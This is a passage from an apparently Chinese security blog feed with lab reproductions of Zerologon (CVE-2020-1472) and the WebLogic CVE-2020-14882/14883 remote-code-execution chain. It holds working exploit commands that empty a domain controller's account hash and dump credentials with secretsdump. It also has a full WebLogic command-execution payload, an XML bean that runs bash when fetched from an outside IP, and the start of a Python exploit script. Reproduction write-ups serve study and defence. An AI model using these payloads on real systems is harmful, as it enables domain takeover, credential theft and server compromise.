&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CVE-2020-1472
python3&lt;span class="w"&gt; &lt;/span&gt;cve-2020-1472-exploit.py&lt;span class="w"&gt; &lt;/span&gt;DC-01&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.208
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1606030580379" src="https://s2.loli.net/2024/06/14/4vQn6XiLREygHON.png"&gt;&lt;/p&gt;
&lt;p&gt;利用成功，域控制器的及其账户hash被重置为空，空密码的hash值为&lt;code&gt;31d6cfe0d16ae931b73c59d7e0c089c0&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;恢复机器账户hash&lt;/h2&gt;
&lt;p&gt;使用&lt;code&gt;secretsdump&lt;/code&gt;导出域账户hash&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;secretsdump.py&lt;span class="w"&gt; &lt;/span&gt;-hashes&lt;span class="w"&gt; &lt;/span&gt;:31d6cfe0d16ae931b73c59d7e0c089c0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;thug.com/DC-01$@192.168.60.208&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1606034015955" src="https://s2.loli.net/2024/06/14/y4MnSVAzqchtwEX.png"&gt;&lt;/p&gt;
&lt;p&gt;然后使用Administrator的账户导出域控制器的本地hash，里面包含域控制器原本的机器账户hash：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;secretsdump.py&lt;span class="w"&gt; &lt;/span&gt;-hashes&lt;span class="w"&gt; &lt;/span&gt;:4a4558a96ba8c11aef734a34421b8068&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;thug.com/Administrator@192.168.60.208&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1606034114027" src="https://s2.loli.net/2024/06/14/wHJC5tgbAXnRhzV.png"&gt;&lt;/p&gt;
&lt;p&gt;我们只要&lt;code&gt;plain_password_hex&lt;/code&gt;的值即可，然后使用&lt;code&gt;restorepassword.py&lt;/code&gt;脚本恢复机器hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;restorepassword.py&lt;span class="w"&gt; &lt;/span&gt;thug.com/dc-01@dc-01&lt;span class="w"&gt; &lt;/span&gt;-target-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.208&lt;span class="w"&gt; &lt;/span&gt;-hexpass&lt;span class="w"&gt; &lt;/span&gt;5cab5bad12d5cbc8c6697ec700b5972a2...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1606034189402" src="https://s2.loli.net/2024/06/14/l4kIrPpOMQwgx7R.png"&gt;&lt;/p&gt;
&lt;p&gt;再次查看域控制器的机器账户hash：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;secretsdump.py&lt;span class="w"&gt; &lt;/span&gt;-hashes&lt;span class="w"&gt; &lt;/span&gt;:4a4558a96ba8c11aef734a34421b8068&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;thug.com/Administrator@192.168.60.208&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-just-dc-user&lt;span class="w"&gt; &lt;/span&gt;dc-01&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-just-dc-ntlm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;已经恢复为原来的值&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606034266400" src="https://s2.loli.net/2024/06/14/NgRwMKnV7xTPzmE.png"&gt;&lt;/p&gt;
&lt;h1&gt;局限性&lt;/h1&gt;
&lt;p&gt;这么做不是没有弊端，因为在某些情况下，域管理员可能会禁用&lt;code&gt;administrator&lt;/code&gt;账户或者限制该账户的行为，导致我们即使拿到域控制器的&lt;code&gt;administrator&lt;/code&gt;账户，也无法导出域控制器存储在本地注册表中的hash（原始的机器账户hash）&lt;/p&gt;
&lt;p&gt;但是我们可以通过先获取域中成员主机的权限，然后通过&lt;code&gt;net group "domain admins" /domain&lt;/code&gt;获取到域内的管理员账户名，然后在使用空hash导域账户hash的时候指定这些域管理员，这样如果administrator如果存在限制，我们还可以尝试使用其他的域管理员账户来导出域控制器本地注册表中保存的hash&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606034545539" src="https://s2.loli.net/2024/06/14/m15jqdhDP6ZzHFY.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606034805716" src="https://s2.loli.net/2024/06/14/NFnzUf4HoxgaMSW.png"&gt;&lt;/p&gt;</content><category term="漏洞复现"></category></entry><entry><title>CVE-2020-14882~14883(Weblogic RCE)</title><link href="cve-2020-1488214883weblogic-rce.html" rel="alternate"></link><published>2020-11-22T00:00:00+01:00</published><updated>2020-11-22T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-11-22:cve-2020-1488214883weblogic-rce.html</id><summary type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;本次复现为两个漏洞，前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE，&lt;strong&gt;两者结合可导致未经身份认证的RCE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md"&gt;https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.csdn.net/weixin_41598660/article/details/109409965"&gt;https://blog.csdn.net …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;本次复现为两个漏洞，前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE，&lt;strong&gt;两者结合可导致未经身份认证的RCE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md"&gt;https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.csdn.net/weixin_41598660/article/details/109409965"&gt;https://blog.csdn.net/weixin_41598660/article/details/109409965&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;复现过程&lt;/h1&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;p&gt;下载&lt;a href="https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/docker-compose.yml"&gt;docker-compose.yml&lt;/a&gt;文件，然后执行&lt;code&gt;docker-compose up -d&lt;/code&gt;即可搭建出漏洞环境&lt;/p&gt;
&lt;p&gt;但是weblogic的漏洞环境镜像比较大，下载起来比较耗时，这里直接提供百度网盘的&lt;a href="https://pan.baidu.com/s/1n4eiDcvBOK1g4Dk692LUqA"&gt;下载链接&lt;/a&gt;，提取码&lt;code&gt;cdlr&lt;/code&gt;，解压之后的文件weblogic.tar的SHA256校验和：&lt;code&gt;5A16598CB64FF0724459FD1E1EC975B4303BF8C495EF3BCA6DFB4D39A4E07654&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;验证文件无误后，执行&lt;code&gt;docker load &amp;lt; weblogic.tar&lt;/code&gt;，然后&lt;code&gt;docker images&lt;/code&gt;查看一下刚加载进来的weblogic镜像的&lt;code&gt;IMAGE ID&lt;/code&gt;，将docker-compose.yml文件中的&lt;code&gt;vulhub/weblogic:12.2.1.3-2018&lt;/code&gt;改成刚才获取到的&lt;code&gt;IMAGE ID&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;设置好浏览器代理，使用burp进行抓包&lt;/p&gt;
&lt;h2&gt;抓包获取cookie&lt;/h2&gt;
&lt;p&gt;在浏览器中访问：&lt;code&gt;http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看burp的&lt;code&gt;HTTP history&lt;/code&gt;，找到cookie中带有&lt;code&gt;ADMINCONSOLESESSION&lt;/code&gt;的请求包，转到Repeater模块中&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606057683128" src="https://s2.loli.net/2024/06/14/pblgPBu4r8Hh2JZ.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606057776735" src="https://s2.loli.net/2024/06/14/MstQqZxlVJPRph5.png"&gt;&lt;/p&gt;
&lt;h2&gt;构造回显payload&lt;/h2&gt;
&lt;p&gt;构造出如下数据包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将GET请求改为&lt;code&gt;/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在请求体中添加&lt;code&gt;cmd&lt;/code&gt;头部，值就是你想要执行的命令:&lt;code&gt;cmd:whoami&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如下，执行的命令结果会显示在响应包的body中&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606057966860" src="https://s2.loli.net/2024/06/14/TESMqGcd5xOhb9z.png"&gt;&lt;/p&gt;
&lt;h2&gt;老版本（12以下）的利用方式&lt;/h2&gt;
&lt;p&gt;由于10.x的版本没有&lt;code&gt;com.tangosol.coherence.mvel2.sh.ShellSession&lt;/code&gt;类，需要通过&lt;code&gt;com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&lt;/code&gt;类来加载外部xml执行命令&lt;/p&gt;
&lt;p&gt;在我们的web服务器上放置一个xml文件，内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;beans&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.springframework.org/schema/beans&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;bean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pb&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;java.lang.ProcessBuilder&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;init-method=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;start&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;constructor-arg&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;list&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;value&amp;gt;&lt;/span&gt;bash&lt;span class="nt"&gt;&amp;lt;/value&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;value&amp;gt;&lt;/span&gt;-c&lt;span class="nt"&gt;&amp;lt;/value&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;value&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[touch /tmp/success2]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/value&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/list&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/constructor-arg&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/bean&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/beans&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其中&lt;code&gt;touch /tmp/success2&lt;/code&gt;是我们想要执行的命令&lt;/p&gt;
&lt;p&gt;访问如下URL即可：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;amp;_pageLabel=&amp;amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://144.34.164.217/theme/css/1.xml")&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606058613655" src="https://s2.loli.net/2024/06/14/TXDkwqnm5zYfF8K.png"&gt;&lt;/p&gt;
&lt;p&gt;这种利用方式的弊端就是如果目标服务器不出网，也没啥用，因为无法加载外部的xml文件，除非你是在目标内网里面&lt;/p&gt;
&lt;h1&gt;exp脚本编写&lt;/h1&gt;
&lt;h2&gt;执行命令&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# -*- coding: UTF-8 -*-&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="c1"&gt;#下面这三行代码是为了解决requests的一个bug，就是Connection broken: IncompleteRead&lt;/span&gt;
&lt;span class="c1"&gt;#其实真正的原因我到现在也不清楚，但是下面这三行代码确实可以解决问题&lt;/span&gt;
&lt;span class="c1"&gt;#参考https://my.oschina.net/u/1538135/blog/858467&lt;/span&gt;
&lt;span class="c1"&gt;#python3.x中的httplib变成了http.client需要修改一下&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;http.client&lt;/span&gt;
&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_http_vsn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_http_vsn_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;HTTP/1.0&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;usage: python3 exp.py http(s):target-ip:target-port command&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;#去掉url最后面的/&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;#命令中包含空格的情况&lt;/span&gt;
&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="c1"&gt;#调试的时候使用burp代理抓包，便于发现脚本的问题&lt;/span&gt;
&lt;span class="n"&gt;proxy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;baseurl&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/console/css/&lt;/span&gt;&lt;span class="si"&gt;%252e%252e%252f&lt;/span&gt;&lt;span class="s2"&gt;console.portal&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;#设置不跟随302重定向，不然会获取不到cookie&lt;/span&gt;
&lt;span class="c1"&gt;#response = requests.get(res, proxies=proxy,allow_redirects=False)&lt;/span&gt;
&lt;span class="c1"&gt;#忽略https证书错误的问题，第二个请求也一样&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;---------------------------------------raw header---------------------------------------&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;---------------------------------------raw header---------------------------------------&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cookie_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Set-Cookie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;matchObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;(.*); path=/.*?&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookie_raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;matchObj&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;matchObj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cookie get!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;no cookie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
